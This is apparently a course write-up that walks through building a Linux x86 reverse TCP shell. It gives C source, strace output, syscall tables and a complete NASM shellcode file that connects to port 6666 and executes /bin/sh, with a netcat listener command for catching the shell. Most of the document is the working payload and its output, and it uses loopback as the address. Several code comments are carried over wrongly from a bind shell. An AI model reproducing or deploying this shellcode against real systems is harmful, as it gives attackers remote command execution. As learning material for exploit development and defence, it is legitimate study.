2.A. Setting up initial file

Creating a reverse TCP shell has a lot in common in creating the bind TCP shell. Instead listening on a socket, we connect the socket to the local socket pointing to the address in the variable of “inet_addr”.

Considering we no longer need to listen to a socket, we can remove the function call and add the “connect” function. Basically, the “accept”, “listen” and “bind” functions are not needed for the reverse shell, use the “connect” function instead. Most code can be reused from our first assignment.

First, we create a C file and compile it for further analysis.

Created C code

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
 
int main(void)
{
	// Defining variables, no need for client anymore seeing the client is setup manually by netcat
        int sock;
        int port = 6666;

	// Defining struct
        struct sockaddr_in sockaddr;

	// Defining Ethernet TCP socket 
	// int socket(int domain, int type, int protocol);
        sock = socket(AF_INET, SOCK_STREAM, 0);

	// Setting variables for struct 
        sockaddr.sin_family = AF_INET; // 2
        sockaddr.sin_port = htons(port); // 6666
        sockaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); // 127.0.0.1
 
	// Connect socket
	// int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
        connect(sock, (struct sockaddr *) &sockaddr, sizeof(sockaddr));
 
	// Redirect stdin, stdout and stderr
	// int dup2(int oldfd, int newfd);
        dup2(sock, 0); // AF_INET
        dup2(sock, 1); // TCP port 6666
        dup2(sock, 2); // INADDR_ANY

    // Execute shell
	// int execve(const char *filename, char *const argv[], char *const envp[]);
        execve("/bin/sh", NULL, NULL);

	// Return a value as being expected by main function
        return 0;
}

Compile and run file

$ ../compile_c.sh rev_tcp_initial_c
[+] Compiling ... 
[+] Done!

Trace file

First, we need to setup a listening port on another terminal window.

$ nc -lvnp 6666
$ Listening on [0.0.0.0] (family 0, port 6666)

Then, run strace on the compiled binary: we see the return message of netcat listening on 6666, indicating the connection was successful.

$ strace ./rev_tcp_initial_c 
execve("./rev_tcp_initial_c", ["./rev_tcp_initial_c"], [/* 29 vars */]) = 0
brk(0)                                  = 0x8c2b000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)

...<SNIP>...

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(6666), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2
execve("/bin/sh", [0], [/* 0 vars */])  = 0
brk(0)                                  = 0x9e3e000

...<SNIP>...

rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, 


Steps taken
According to the created C code for binding and listening and the traced C binary, the following steps are taken:
– Declaring and defining variables
– Declaring and defining structures
– Creating a socket
– Setting variables for socket
– Connect socket
– Redirect input, output and errors
– Execute shell
– Return exit code for main

Used syscall functions
Breaking down the code in functions used by C for syscalls, the following functions are being used:
– socket 102 → 0x66
– connect 3 → 0x3
– dup2 63 → 0x3f
– execve 11 → 0x0b

This does not include the “accept”, “listen” and “bind” function, seeing they aren’t being used for a reverse shell.
The “connect” function in “/usr/include/linux/net.h” indicates the SYS_CONNECT function is referred as 3.

Creating a socket

The arguments for the socketcall are being displayed in the code above:
– domain –> AF_INET = 2
– type –> SOCK_STREAM = 1
– protocol –> IPPROTO_IP = 0

Call reference
Before creating a socket, several codes exist for calling functions for the socketcall syscall.
#define SYS_SOCKET 1 /* sys_socket(2) */

Domain
From “/usr/include/bits/socket.h”:
#define PF_INET 2 /* IP protocol family. */
#define AF_INET PF_INET

Type
From “bits/socket_type.h”:
enum __socket_type
{
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
byte streams. */

Protocol
From “/usr/include/linux/in.h”:
IPPROTO_IP = 0, /* Dummy protocol for TCP */
#define IPPROTO_IP IPPROTO_IP

Assembly instructions

; Creating socket
; int socket(int domain, int type, int protocol);
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
mov eax, 102 ; socketcall
mov ebx, 1 ; socketcall type 1 (sys_socket)

; socket arguments
push 0 ; IPPROTO_IP 0
push 1 ; SOCK_STREAM 1
push 2 ; AF_INET 2

mov ecx, esp ; Save the pointer for arguments
int 0x80 ; Syscall to call function with arguments
mov edx, eax ; Saved socket FD in EDX

Setting variables for socket

Setting the following variables from C code, building the constructor:
sockaddr.sin_family = AF_INET; // 2
sockaddr.sin_port = htons(port); // 6666
sockaddr.sin_addr.s_addr = inet_addr(“127.0.0.1”); // 127.0.0.1

Setting the arguments:
– family –> AF_INET = 2
– port –> Variable port number to connect to
– s_addr –> “127.0.0.1”, connect to the locally listening loopback adapter

Assembly instructions

; Struct sockaddr_in
push 0x0101017f ; "127.0.0.1"
push WORD 0x0a1a ; TCP port 6666, 0x1a0a in little endian format
push WORD 2 ; AF_INET 2
mov ecx, esp

Connect socket

Following code binds the constructor and port:
// int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
connect(sock, (struct sockaddr *) &sockaddr, sizeof(sockaddr));

Call reference
From “linux/net.h”:
#define SYS_CONNECT 3 /* sys_connect(2) */

Setting the arguments:
– sockfd –> The created and stored socket as an integer, stored in EDX
– sockaddr *addr –> Pointer to the memory address of the sockaddr structure for arguments, stored in ECX
– addrlen –> The length of the socket

Sockfd
Stored in EDX during defining arguments for socket

*addr
Stored in ECX, address sockaddr pointer for arguments

Addrlen
Length of the sockaddr constructor variable, for indicating the length of the address
From “netinet/in.h”:
#define INET_ADDRSTRLEN 16
#define INET6_ADDRSTRLEN 46

Assembly instructions

mov eax, 102 ; socketcall
mov ebx, 3 ; socketcall type 3 (sys_connect)

; sys_connect arguments
push 16 ; sockaddr struct, sizeof(struct sockaddr) = 16
push ecx ; Pointer to sockaddr_in
push edx ; FD socket

mov ecx, esp ; Argument array pointer
int 0x80 ; syscall, calling with arguments

Redirect input, output and errors

The following code redirects the STDIN, STDOUT and STDERR via dup2.
// Redirect input, output and errors
// int dup2(int oldfd, int newfd);
dup2(client, 0); // STDIN
dup2(client, 1); // STDOUT
dup2(client, 2); // STDERR

Call reference
From “asm/unistd_32.h”:
#define __NR_dup2 63

Setting the arguments:
STDIN:
– oldfd –> The used Client FD stored previously in EDX
– newfd –> STDIN

STDOUT:
– oldfd –> The used Client FD stored previously in EDX
– newfd –> STDOUT

STDERR:
– oldfd –> The used Client FD stored previously in EDX
– newfd –> STDERR

Assembly instructions

; STDIN
mov eax, 63 ; syscall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 0 ; STDIN
int 0x80 ; syscall

; STDOUT
mov eax, 63 ; socketcall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 1 ; STDOUT
int 0x80 ; syscall

; STDERR
mov eax, 63 ; socketcall, dup2
mov ebx, edx ; The used Client FD stored previously in EDX
mov ecx, 2 ; STDERR
int 0x80 ; Syscall, calling with arguments

Execute shell

Before executing the shell via execve, the “program” or “script” needs to be pushed on the stack and referred correctly as a pointer.

The following code calls execve to execute a shell “/bin/sh”
// Execute shell
// int execve(const char *filename, char *const argv[], char *const envp[]);
execve(“/bin/sh”, NULL, NULL);

Call reference
From “asm/unistd_32.h”:
#define __NR_execve 11

Setting the arguments:
– *filename –> Executable or script, in this case it’s “/bin/sh”
– *argv[] –> Argument array to pass to the program, no arguments in this case
– *envp[] –> Array of strings to passed as environment of the new program, no env in this case

Generating the string
For passing the “program/script” to execve, it needs to be converted to hex and pushed on the stack. For this, I’ve modified the original convert script for generating ASM instructions pushing characters on the stack:
The string needs to have an offset of 4 bytes each, or else the stack would have a wrong offset. Seeing “/bin/sh” is only 7 bytes and the number of slashes doesn’t affect functionality, “/bin//sh” is 8 bytes and correctly sized for putting on the stack in steps of 4 bytes.

$ python string_to_hex.py '/bin//sh'
String length : 8

Converted [{opcode} {0x hex} ; {reversed string}] format
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/

Assembly instructions

mov eax, 11 ; syscall, execve

; Push “/bin//sh” on the stack
push 0 ; Terminate string with null byte
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/

mov ebx, esp ; String pointer for ‘/bin//sh’
mov ecx, 0 ; NULL
mov edx, 0 ; NULL

int 0x80 ; Do some magic

Entire ASM file

; Name: Shell reverse TCP
; Filename: rev_tcp_initial.asm
; Author: hodorsec

global _start
section .text

_start:
	; Creating socket 
	; int socket(int domain, int type, int protocol);
	; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
	mov eax, 102   			; socketcall
	mov ebx, 1       		; socketcall type 1 (sys_socket)

	; socket arguments
	push 0             		; IPPROTO_IP 0
	push 1             		; SOCK_STREAM 1
	push 2             		; AF_INET 2
 
	mov ecx, esp   			; Save the pointer for arguments  
	int 0x80          		; Syscall to call function with arguments
	mov edx, eax   			; Saved socket FD in EDX

	; Setting variables for socket
	; Struct sockaddr_in
        ; sockaddr.sin_family = AF_INET; // Address family TCP
        ; sockaddr.sin_port = htons(port); // Port number as declared by 'port'
        ; sockaddr.sin_addr.s_addr = INADDR_ANY; // Accept from any address
	push 0x0101017f          	; "127.0.0.1"
	push WORD 0x0a1a      		; TCP port 6666, 0x1a0a in little endian format
	push WORD 2                	; AF_INET 2
	mov ecx, esp

	; Connect socket
	; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
        ; connect(sock, (struct sockaddr *) &sockaddr, sizeof(sockaddr));
	mov eax, 102                    ; socketcall
	mov ebx, 3                      ; socketcall type 3 (sys_connect)

	; sys_connect arguments
	push 16                         ; sockaddr struct, sizeof(struct sockaddr) = 16
	push ecx                        ; Pointer to sockaddr_in
	push edx                        ; FD socket

	mov ecx, esp                    ; Argument array pointer
	int 0x80                        ; syscall, calling with arguments

	; Redirect input, output and errors
        ; Redirect input, output and errors
        ; int dup2(int oldfd, int newfd);
        ; dup2(client, 0); // STDIN
        ; dup2(client, 1); // STDOUT
        ; dup2(client, 2); // STDERR
	; STDIN
	mov eax, 63                     ; syscall, dup2
	mov ebx, edx                    ; The used Client FD stored previously in EDX
	mov ecx, 0                      ; STDIN

	int 0x80                        ; syscall

	; STDOUT
	mov eax, 63                     ; socketcall, dup2
	mov ebx, edx                    ; The used Client FD stored previously in EDX
	mov ecx, 1                      ; STDOUT
	
	int 0x80                        ; syscall

	; STDERR
	mov eax, 63                     ; socketcall, dup2
	mov ebx, edx                    ; The used Client FD stored previously in EDX
	mov ecx, 2                      ; STDERR

	int 0x80                        ; Syscall, calling with arguments

	; Execute shell
        ; int execve(const char *filename, char *const argv[], char *const envp[]);
        ; execve("/bin/sh", NULL, NULL);
	mov eax, 11                     ; syscall, execve

	; Push “/bin//sh” on the stack
	push 0                          ; Terminate string with null byte
	push 0x68732f2f             	; hs//
	push 0x6e69622f             	; nib/

	mov ebx, esp                    ; String pointer for ‘/bin//sh’
	mov ecx, 0                      ; NULL
	mov edx, 0                      ; NULL

	int 0x80                        ; Do some magic